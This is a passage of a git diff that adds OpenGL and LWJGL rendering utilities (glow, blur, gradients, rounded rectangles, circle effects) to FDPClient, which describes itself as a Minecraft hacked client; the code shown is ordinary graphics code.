glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + + glEnd() + } + + /** + * Interpolates position into position for rendering + * + * @param old Previous position + * @param current Current position + */ + fun interpolate(old: Double, current: Double): Double { + return old + (current - old) * mc.timer.renderPartialTicks.toDouble() + } + + fun glColor(red: Float, green: Int, blue: Int, alpha: Int = 255) { + GlStateManager.color(red / 255f, green / 255f, blue / 255f, alpha / 255f) + } + + @JvmStatic + fun glColor(color: Color) { + val red = color.red / 255f + val green = color.green / 255f + val blue = color.blue / 255f + val alpha = color.alpha / 255f + + GlStateManager.color(red, green, blue, alpha) + } + + private fun glColor(hex: Int) { + val alpha = (hex shr 24 and 0xFF) / 255f + val red = (hex shr 16 and 0xFF) / 255f + val green = (hex shr 8 and 0xFF) / 255f + val blue = (hex and 0xFF) / 255f + + GlStateManager.color(red, green, blue, alpha) + } + + fun blur(radius: Int, f: () -> Unit) { + StencilUtils.initStencil(mc.framebuffer) + StencilUtils.writeToStencil() + f() + StencilUtils.readFromStencil() + + glPushMatrix() + mc.entityRenderer.setupOverlayRendering() + BlurShader.blur(radius) + glPopMatrix() + + StencilUtils.uninitStencil() + } + + fun drawPlatform(entity: Entity, color: Color) { + val bb = entity.renderBoundingBox + + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glDisable(GL_DEPTH_TEST) + glDepthMask(false) + glColor(color) + + drawFilledBB( + AxisAlignedBB( + bb.minX, + bb.maxY + 0.2, + bb.minZ, + bb.maxX, + bb.maxY + 0.26, + bb.maxZ + ) + ) + + GlStateManager.resetColor() + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + glEnable(GL_DEPTH_TEST) + glDepthMask(true) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/GlowUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/GlowUtils.java new file mode 100644 index 0000000..d54fae4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/GlowUtils.java @@ -0,0 +1,80 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.renderer.GlStateManager; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.awt.image.BufferedImage; +import java.util.HashMap; + +import static org.lwjgl.opengl.GL11.*; + +public class GlowUtils { + private static HashMap<Integer, Integer> shadowCache = new HashMap<Integer, Integer>(); + + public static void drawGlow(float x, float y, float width, float height, int blurRadius, Color color) { + glPushMatrix(); + GlStateManager.alphaFunc(GL11.GL_GREATER, 0.01f); + + width = width + blurRadius * 2; + height = height + blurRadius * 2; + x = x - blurRadius; + y = y - blurRadius; + + float _X = x - 0.25f; + float _Y = y + 0.25f; + + int identifier = (int) (width * height + width + color.hashCode() * blurRadius + blurRadius); + + GL11.glEnable(GL11.GL_TEXTURE_2D); + glDisable(GL11.GL_CULL_FACE); + GL11.glEnable(GL11.GL_ALPHA_TEST); + GlStateManager.enableBlend(); + + int texId = -1; + if (shadowCache.containsKey(identifier)) { + texId = shadowCache.get(identifier); + + GlStateManager.bindTexture(texId); + } else { + if (width <= 0) width = 1; + if (height <= 0) height = 1; + BufferedImage original = new BufferedImage((int) width, (int) height, BufferedImage.TYPE_INT_ARGB_PRE); + + Graphics g = original.getGraphics(); + g.setColor(color); + g.fillRect(blurRadius, blurRadius, (int) (width - blurRadius * 2), (int) (height - blurRadius * 2)); + g.dispose(); + + shadowCache.put(identifier, texId); + } + + GL11.glColor4f(1f, 1f, 1f, 1f); + + GL11.glBegin(GL11.GL_QUADS); + GL11.glTexCoord2f(0, 0); // top left + GL11.glVertex2f(_X, _Y); + + GL11.glTexCoord2f(0, 1); // bottom left + GL11.glVertex2f(_X, _Y + height); + + GL11.glTexCoord2f(1, 1); // bottom right + GL11.glVertex2f(_X + width, _Y + height); + + GL11.glTexCoord2f(1, 0); // top right + GL11.glVertex2f(_X + width, _Y); + GL11.glEnd(); + + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + GlStateManager.resetColor(); + + glEnable(GL_CULL_FACE); + glPopMatrix(); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ImageUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/ImageUtils.java new file mode 100644 index 0000000..bc8d1a5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ImageUtils.java @@ -0,0 +1,42 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import java.awt.*; +import java.awt.image.BufferedImage; +import java.nio.ByteBuffer; + +public class ImageUtils { + /** + * Reads the image to a byte buffer that works with LWJGL. + * @author func16 + */ + public static ByteBuffer readImageToBuffer(BufferedImage bufferedImage){ + try { + int[] rgbArray = bufferedImage.getRGB(0, 0, bufferedImage.getWidth(), bufferedImage.getHeight(), null, 0, bufferedImage.getWidth()); + + ByteBuffer byteBuffer = ByteBuffer.allocateDirect(4 * rgbArray.length); + for (int rgb : rgbArray) { + byteBuffer.putInt(rgb << 8 | rgb >> 24 & 255); + } + byteBuffer.flip(); + return byteBuffer; + } catch(NoSuchMethodError e) { + e.printStackTrace(); + return null; + } + } + + /** + * Resize the image to the specified width and height. + * @author liulihaocai + */ + public static BufferedImage resizeImage(BufferedImage image, int width,int height) { + BufferedImage buffImg = new BufferedImage(width,height, BufferedImage.TYPE_4BYTE_ABGR); + buffImg.getGraphics().drawImage(image.getScaledInstance(width,height, Image.SCALE_SMOOTH), 0, 0, null); + return buffImg; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ParticleUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/ParticleUtils.java new file mode 100644 index 0000000..a7a8b9b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ParticleUtils.java @@ -0,0 +1,20 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraftforge.fml.relauncher.Side; +import net.minecraftforge.fml.relauncher.SideOnly; +import net.vitox.ParticleGenerator; + +@SideOnly(Side.CLIENT) +public final class ParticleUtils { + + private static final ParticleGenerator particleGenerator = new ParticleGenerator(100); + + public static void drawParticles(int mouseX, int mouseY) { + particleGenerator.draw(mouseX, mouseY); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/PotionData.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/PotionData.java new file mode 100644 index 0000000..715de4e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/PotionData.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +public class PotionData { + public int maxTimer = 0; + public float animationX = 0; + public final Translate translate; + public final int level; + public PotionData(Translate translate, int level) { + this.translate = translate; + this.level = level; + } + + public float getAnimationX() { + return animationX; + } + + public int getMaxTimer() { + return maxTimer; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/Render.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/Render.java new file mode 100644 index 0000000..60bf159 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/Render.java @@ -0,0 +1,80 @@ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.Vec3; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class Render { + public float alpha; + public Vec3 vec3; + public long time; + public float d; + public Color color; + public Render(double x,double y,double z,long time,Color color){ + this.alpha=255f; + this.vec3=new Vec3(x,y,z); + this.time=time; + this.color=color; + } + public void draw(){ + GL11.glPushMatrix(); + GL11.glEnable(3042); + GL11.glBlendFunc(770, 771); + GL11.glShadeModel(7425); + GL11.glDisable(3553); + GlStateManager.disableDepth(); + GL11.glEnable(2848); + GL11.glDisable(2896); + GL11.glDepthMask(false); + GL11.glHint(3154, 4354); + GL11.glLineWidth(3.0F); + GL11.glBegin(3); + double renderPosX = Minecraft.getMinecraft().getRenderManager().viewerPosX; + double renderPosY = Minecraft.getMinecraft().getRenderManager().viewerPosY; + double renderPosZ = Minecraft.getMinecraft().getRenderManager().viewerPosZ; + // RenderUtils.glColor(ColorUtils.rainbow().getRGB(),alpha); + RenderUtils.setColor(new Color(color.getRed(), color.getGreen(), color.getBlue(), (int)alpha)); + for (int i=0;i<=360;i++) { + // this.alpha = MathHelper.clamp_float(this.alpha = (float)((double)this.alpha - 1.0D * i), 0.0F, 255.0F); + GL11.glVertex3d( + vec3.xCoord - renderPosX + Math.cos(i * Math.PI / 180) * 0.6*d, + vec3.yCoord - renderPosY, + vec3.zCoord - renderPosZ + Math.sin(i * Math.PI / 180) * 0.6*d); + } + GL11.glEnd(); + GL11.glBegin(5); + for (int i=0;i<=360;i+=10) { + for (int var11=0;var11<=3;var11++) { + GL11.glVertex3d(vec3.xCoord - renderPosX + -Math.sin(Math.toRadians(i)) * (double) this.d, vec3.yCoord - renderPosY, vec3.zCoord - renderPosZ + Math.cos(Math.toRadians(i)) * (double) this.d); + GL11.glVertex3d(vec3.xCoord - renderPosX + -Math.sin(Math.toRadians(i)) * ((double) this.d - var11 / 10.0D), vec3.yCoord - renderPosY, vec3.zCoord - renderPosZ + Math.cos(Math.toRadians(i)) * ((double) this.d - var11 / 10.0D)); + } + } + double var14 = 0.0D; + if(var14 < 361.0D) { + var14 = var14 + 5; + } + double var15 = 0.0D; + if(var15 < 255) { + + var15 = var15 + 3; + } + GL11.glEnd(); + GL11.glDepthMask(true); + GlStateManager.enableDepth(); + GL11.glDisable(2848); + GL11.glEnable(3553); + GL11.glDisable(3042); + GL11.glPopMatrix(); + if (d==1.5F) { + this.alpha = MathHelper.clamp_float(this.alpha = (float) ((double) this.alpha - 1.0D * var15), 0.0F, 255.0F); + } + this.d = MathHelper.clamp_float(this.d = (float)((double)this.d + 0.005D * var14), 0.0F, 1.5F); + } + public float alpha(){ + return alpha; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.java new file mode 100644 index 0000000..178e450 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/RenderUtils.java @@ -0,0 +1,3287 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import kotlin.jvm.JvmStatic; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.misc.Animation; +import net.ccbluex.liquidbounce.utils.render.shader.Shader; +import net.minecraft.block.Block; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.EntityOtherPlayerMP; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.*; +import net.minecraft.client.renderer.culling.Frustum; +import net.minecraft.client.renderer.entity.RenderManager; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.client.shader.Framebuffer; +import net.minecraft.enchantment.Enchantment; +import net.minecraft.enchantment.EnchantmentHelper; +import net.minecraft.entity.Entity; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.item.ItemArmor; +import net.minecraft.item.ItemBow; +import net.minecraft.item.ItemStack; +import net.minecraft.item.ItemSword; +import net.minecraft.util.*; +import net.minecraft.util.Timer; +import org.lwjgl.BufferUtils; +import org.lwjgl.opengl.Display; +import org.lwjgl.opengl.GL11; +import org.lwjgl.util.glu.GLU; + +import java.awt.*; +import java.nio.FloatBuffer; +import java.nio.IntBuffer; +import java.util.*; + +import static java.lang.Math.*; +import static net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline.AnimationUtil.getAnimationState; +import static net.minecraft.client.renderer.GlStateManager.disableBlend; +import static net.minecraft.client.renderer.GlStateManager.enableTexture2D; +import static org.lwjgl.opengl.GL11.*; + +public final class RenderUtils extends MinecraftInstance { + private static final Map<String, Map<Integer, Boolean>> glCapMap = new HashMap<>(); + private static long startTime; + private static final Map<Integer, EntityOtherPlayerMP> fakePlayers = new HashMap<>(); + + public static int deltaTime; + + private static final int[] DISPLAY_LISTS_2D = new int[4]; + + static { + for (int i = 0; i < DISPLAY_LISTS_2D.length; i++) { + DISPLAY_LISTS_2D[i] = glGenLists(1); + } + + glNewList(DISPLAY_LISTS_2D[0], GL_COMPILE); + + quickDrawRect(-7F, 2F, -4F, 3F); + quickDrawRect(4F, 2F, 7F, 3F); + quickDrawRect(-7F, 0.5F, -6F, 3F); + quickDrawRect(6F, 0.5F, 7F, 3F); + + glEndList(); + + glNewList(DISPLAY_LISTS_2D[1], GL_COMPILE); + + quickDrawRect(-7F, 3F, -4F, 3.3F); + quickDrawRect(4F, 3F, 7F, 3.3F); + quickDrawRect(-7.3F, 0.5F, -7F, 3.3F); + quickDrawRect(7F, 0.5F, 7.3F, 3.3F); + + glEndList(); + + glNewList(DISPLAY_LISTS_2D[2], GL_COMPILE); + + quickDrawRect(4F, -20F, 7F, -19F); + quickDrawRect(-7F, -20F, -4F, -19F); + quickDrawRect(6F, -20F, 7F, -17.5F); + quickDrawRect(-7F, -20F, -6F, -17.5F); + + glEndList(); + + glNewList(DISPLAY_LISTS_2D[3], GL_COMPILE); + + quickDrawRect(7F, -20F, 7.3F, -17.5F); + quickDrawRect(-7.3F, -20F, -7F, -17.5F); + quickDrawRect(4F, -20.3F, 7.3F, -20F); + quickDrawRect(-7.3F, -20.3F, -4F, -20F); + + glEndList(); + } + + public static void doGlScissor(int x, int y, int width, int height) { + Minecraft mc = Minecraft.getMinecraft(); + int scaleFactor = 1; + int k = mc.gameSettings.guiScale; + if (k == 0) { + k = 1000; + } + while (scaleFactor < k && mc.displayWidth / (scaleFactor + 1) >= 320 && mc.displayHeight / (scaleFactor + 1) >= 240) { + ++scaleFactor; + } + GL11.glScissor(x * scaleFactor, mc.displayHeight - (y + height) * scaleFactor, width * scaleFactor, height * scaleFactor); + } + public static void drawArc(float x1, float y1, double r, int color, int startPoint, double arc, int linewidth) { + r *= 2.0D; + x1 *= 2; + y1 *= 2; + float f = (color >> 24 & 0xFF) / 255.0F; + float f1 = (color >> 16 & 0xFF) / 255.0F; + float f2 = (color >> 8 & 0xFF) / 255.0F; + float f3 = (color & 0xFF) / 255.0F; + GL11.glDisable(2929); + GL11.glEnable(3042); + GL11.glDisable(3553); + GL11.glBlendFunc(770, 771); + GL11.glDepthMask(true); + GL11.glEnable(2848); + GL11.glHint(3154, 4354); + GL11.glHint(3155, 4354); + GL11.glScalef(0.5F, 0.5F, 0.5F); + GL11.glLineWidth(linewidth); + GL11.glEnable(GL11.GL_LINE_SMOOTH); + GL11.glColor4f(f1, f2, f3, f); + GL11.glBegin(GL11.GL_LINE_STRIP); + for (int i = startPoint; i <= arc; i += 1) { + double x = Math.sin(i * Math.PI / 180.0D) * r; + double y = Math.cos(i * Math.PI / 180.0D) * r; + GL11.glVertex2d(x1 + x, y1 + y); + } + GL11.glEnd(); + GL11.glDisable(GL11.GL_LINE_SMOOTH); + GL11.glScalef(2.0F, 2.0F, 2.0F); + GL11.glEnable(3553); + GL11.glDisable(3042); + GL11.glEnable(2929); + GL11.glDisable(2848); + GL11.glHint(3154, 4352); + GL11.glHint(3155, 4352); + } + public static void drawImage2(ResourceLocation image, int x, int y, int width, int height) { + glDisable(GL_DEPTH_TEST); + glEnable(GL_BLEND); + glDepthMask(false); + OpenGlHelper.glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor4f(1.0F, 1.0F, 1.0F, 1.0F); + mc.getTextureManager().bindTexture(image); + Gui.drawModalRectWithCustomSizedTexture(x, y, 0, 0, width, height, width, height); + glDepthMask(true); + glDisable(GL_BLEND); + glEnable(GL_DEPTH_TEST); + } + public static double getAnimationStateSmooth(double target, double current, double speed) { + boolean larger; + boolean bl = larger = target > current; + if (speed < 0.0) { + speed = 0.0; + } else if (speed > 1.0) { + speed = 1.0; + } + if (target == current){ + return target; + } + double dif = Math.max(target, current) - Math.min(target, current); + double factor = Math.max((dif * speed),1); + if (factor < 0.1) { + factor = 0.1; + } + if (larger){ + if (current + factor>target){ + current = target; + }else { + current += factor; + } + }else { + if (current - factor<target) { + current = target; + }else { + current -= factor; + } + } + return current; + } + + public static void drawRoundedGradientRectCorner(float x, float y, float x1, float y1, float radius, int color, int color2, int color3, int color4) { + ColorUtils.setColour(-1); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + + glPushAttrib(0); + glScaled(0.5D, 0.5D, 0.5D); + x *= 2.0F; + y *= 2.0F; + x1 *= 2.0F; + y1 *= 2.0F; + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + ColorUtils.setColour(color); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + glBegin(6); + int i; + for (i = 0; i <= 90; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y + radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color2); + for (i = 90; i <= 180; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color3); + for (i = 0; i <= 90; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius); + ColorUtils.setColour(color4); + for (i = 90; i <= 180; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y + radius + Math.cos(i * Math.PI / 180.0D) * radius); + glEnd(); + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glDisable(GL_BLEND); + glEnable(GL_TEXTURE_2D); + glScaled(2.0D, 2.0D, 2.0D); + glPopAttrib(); + + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glShadeModel(GL_FLAT); + ColorUtils.setColour(-1); + } + + public static void scaleStart(float x, float y, float scale) { + glTranslatef(x, y, 0); + glScalef(scale, scale, 1); + glTranslatef(-x, -y, 0); + } + + public static void connectPoints(float xOne, float yOne, float xTwo, float yTwo) { + glPushMatrix(); + glEnable(GL_LINE_SMOOTH); + glColor4f(1.0F, 1.0F, 1.0F, 0.8F); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_BLEND); + glLineWidth(0.5F); + glBegin(GL_LINES); + glVertex2f(xOne, yOne); + glVertex2f(xTwo, yTwo); + glEnd(); + glColor4f(1.0F, 1.0F, 1.0F, 1.0F); + glDisable(GL_LINE_SMOOTH); + glEnable(GL_TEXTURE_2D); + glPopMatrix(); + } + + + private static final float zLevel = 0F; + + /** + * Draws a textured rectangle at the stored z-value. Args: x, y, u, v, width, height. + */ + public static void drawTexturedModalRect(int x, int y, int textureX, int textureY, int width, int height, float zLevel) + { + float f = 0.00390625F; + float f1 = 0.00390625F; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX); + worldrenderer.pos((x), (y + height), zLevel).tex(((float)(textureX) * f), ((float)(textureY + height) * f1)).endVertex(); + worldrenderer.pos((x + width), (y + height), zLevel).tex(((float)(textureX + width) * f), ((float)(textureY + height) * f1)).endVertex(); + worldrenderer.pos((x + width), (y), zLevel).tex(((float)(textureX + width) * f), ((float)(textureY) * f1)).endVertex(); + worldrenderer.pos((x), (y), zLevel).tex(((float)(textureX) * f), ((float)(textureY) * f1)).endVertex(); + tessellator.draw(); + } + + public static void drawCircle(float x, float y, float radius, int color) { + glColor(color); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glPushMatrix(); + glLineWidth(1F); + glBegin(GL_POLYGON); + for(int i = 0; i <= 360; i++) + glVertex2d(x + Math.sin(i * Math.PI / 180.0D) * radius, y + Math.cos(i * Math.PI / 180.0D) * radius); + glEnd(); + glPopMatrix(); + glEnable(GL_TEXTURE_2D); + glDisable(GL_LINE_SMOOTH); + glColor4f(1F, 1F, 1F, 1F); + } + + public static void drawCheck(double x, double y, int lineWidth, int color) { + start2D(); + GL11.glPushMatrix(); + GL11.glLineWidth(lineWidth); + setColor(new Color(color)); + GL11.glBegin(GL_LINE_STRIP); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x + 2, y + 3); + GL11.glVertex2d(x + 6, y - 2); + GL11.glEnd(); + GL11.glPopMatrix(); + stop2D(); + } + + public static void setColor(Color color) { + float alpha = (color.getRGB() >> 24 & 0xFF) / 255.0F; + float red = (color.getRGB() >> 16 & 0xFF) / 255.0F; + float green = (color.getRGB() >> 8 & 0xFF) / 255.0F; + float blue = (color.getRGB() & 0xFF) / 255.0F; + GL11.glColor4f(red, green, blue, alpha); + } + public static void start2D() { + glEnable(3042); + glDisable(3553); + glBlendFunc(770, 771); + glEnable(2848); + } + + public static void stop2D() { + glEnable(3553); + glDisable(3042); + glDisable(2848); + enableTexture2D(); + disableBlend(); + glColor4f(1, 1, 1, 1); + } + + private static void quickPolygonCircle(float x, float y, float xRadius, float yRadius, int start, int end) { + for(int i = end; i >= start; i -= 4) { + glVertex2d(x + Math.sin(i * Math.PI / 180.0D) * xRadius, y + Math.cos(i * Math.PI / 180.0D) * yRadius); + } + } + + public static int getRainbowOpaque(int seconds, float saturation, float brightness, int index) { + float hue = ((System.currentTimeMillis() + index) % (seconds * 1000)) / (float) (seconds * 1000); + return Color.HSBtoRGB(hue, saturation, brightness); + } + + public static float smoothAnimation(float ani, float finalState, float speed, float scale) { + return (float) getAnimationState(ani, finalState, Math.max(10.0F, Math.abs(ani - finalState) * speed) * scale); + } + public static boolean isHovering(int mouseX, int mouseY, float xLeft, float yUp, float xRight, float yBottom) { + return (float)mouseX > xLeft && (float)mouseX < xRight && (float)mouseY > yUp && (float)mouseY < yBottom; + } + + public static void scissor(final double x, final double y, final double width, final double height) { + int scaleFactor; + for (scaleFactor = new ScaledResolution(Minecraft.getMinecraft()).getScaleFactor(); scaleFactor < 2 && Minecraft.getMinecraft().displayWidth / (scaleFactor + 1) >= 320 && Minecraft.getMinecraft().displayHeight / (scaleFactor + 1) >= 240; ++scaleFactor) {} + GL11.glScissor((int)(x * scaleFactor), (int)(Minecraft.getMinecraft().displayHeight - (y + height) * scaleFactor), (int)(width * scaleFactor), (int)(height * scaleFactor)); + } + + public static void drawRoundedCornerRect(float x, float y, float x1, float y1, float radius, int color) { + glEnable(GL_BLEND); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glDisable(GL_TEXTURE_2D); + final boolean hasCull = glIsEnabled(GL_CULL_FACE); + glDisable(GL_CULL_FACE); + + glColor(color); + drawRoundedCornerRect(x, y, x1, y1, radius); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + setGlState(GL_CULL_FACE, hasCull); + } + + public static void drawGradientRect(final double left, final double top, final double right, final double bottom, final boolean sideways, final int startColor, final int endColor) { + GL11.glDisable(3553); + GL11.glEnable(3042); + GL11.glBlendFunc(770, 771); + GL11.glShadeModel(7425); + GL11.glBegin(7); + color(startColor); + if (sideways) { + GL11.glVertex2d(left, top); + GL11.glVertex2d(left, bottom); + color(endColor); + GL11.glVertex2d(right, bottom); + GL11.glVertex2d(right, top); + } + else { + GL11.glVertex2d(left, top); + color(endColor); + GL11.glVertex2d(left, bottom); + GL11.glVertex2d(right, bottom); + color(startColor); + GL11.glVertex2d(right, top); + } + GL11.glEnd(); + GL11.glDisable(3042); + GL11.glShadeModel(7424); + GL11.glEnable(3553); + } + + public static void drawGradientRect(final float left, final float top, final float right, final float bottom, final int startColor, final int endColor) { + final float f = (startColor >> 24 & 0xFF) / 255.0f; + final float f2 = (startColor >> 16 & 0xFF) / 255.0f; + final float f3 = (startColor >> 8 & 0xFF) / 255.0f; + final float f4 = (startColor & 0xFF) / 255.0f; + final float f5 = (endColor >> 24 & 0xFF) / 255.0f; + final float f6 = (endColor >> 16 & 0xFF) / 255.0f; + final float f7 = (endColor >> 8 & 0xFF) / 255.0f; + final float f8 = (endColor & 0xFF) / 255.0f; + GlStateManager.disableTexture2D(); + GlStateManager.enableBlend(); + GlStateManager.disableAlpha(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.shadeModel(7425); + final Tessellator tessellator = Tessellator.getInstance(); + final WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(right, top, 0.0).color(f2, f3, f4, f).endVertex(); + worldrenderer.pos(left, top, 0.0).color(f2, f3, f4, f).endVertex(); + worldrenderer.pos(left, bottom, 0.0).color(f6, f7, f8, f5).endVertex(); + worldrenderer.pos(right, bottom, 0.0).color(f6, f7, f8, f5).endVertex(); + tessellator.draw(); + GlStateManager.shadeModel(7424); + GlStateManager.disableBlend(); + GlStateManager.enableAlpha(); + GlStateManager.enableTexture2D(); + } + + public static double getAnimationState(double animation, double finalState, double speed) { + float add = (float) (0.01D * speed); + + animation = animation < finalState ? (Math.min(animation + add, finalState)) : (Math.max(animation - add, finalState)); + return animation; + } + + public static void drawClickGuiArrow(final float x, final float y, final float size, final Animation animation, final int color) { + GL11.glTranslatef(x, y, 0.0f); + final double[] interpolation = new double[1]; + setup2DRendering(() -> render(5, () -> { + color(color); + interpolation[0] = interpolate(0.0, size / 2.0, animation.getOutput()); + if (animation.getOutput() >= 0.48) { + GL11.glVertex2d((size / 2.0f), interpolate(size / 2.0, 0.0, animation.getOutput())); + } + GL11.glVertex2d(0.0, interpolation[0]); + if (animation.getOutput() < 0.48) { + GL11.glVertex2d((size / 2.0f), interpolate(size / 2.0, 0.0, animation.getOutput())); + } + GL11.glVertex2d(size, interpolation[0]); + })); + GL11.glTranslatef(-x, -y, 0.0f); + } + + public static void render(final int mode, final Runnable render) { + GL11.glBegin(mode); + render.run(); + GL11.glEnd(); + } + + public static void setup2DRendering(final Runnable f) { + GL11.glEnable(3042); + GL11.glBlendFunc(770, 771); + GL11.glDisable(3553); + f.run(); + GL11.glEnable(3553); + GlStateManager.disableBlend(); + } + public static void drawGradientRect(int left, int top, int right, int bottom, int startColor, int endColor) { + float f = (float)(startColor >> 24 & 255) / 255.0F; + float f1 = (float)(startColor >> 16 & 255) / 255.0F; + float f2 = (float)(startColor >> 8 & 255) / 255.0F; + float f3 = (float)(startColor & 255) / 255.0F; + float f4 = (float)(endColor >> 24 & 255) / 255.0F; + float f5 = (float)(endColor >> 16 & 255) / 255.0F; + float f6 = (float)(endColor >> 8 & 255) / 255.0F; + float f7 = (float)(endColor & 255) / 255.0F; + GlStateManager.pushMatrix(); + GlStateManager.disableTexture2D(); + GlStateManager.enableBlend(); + GlStateManager.disableAlpha(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.shadeModel(7425); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + worldrenderer.pos(right, top, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(left, top, zLevel).color(f1, f2, f3, f).endVertex(); + worldrenderer.pos(left, bottom, 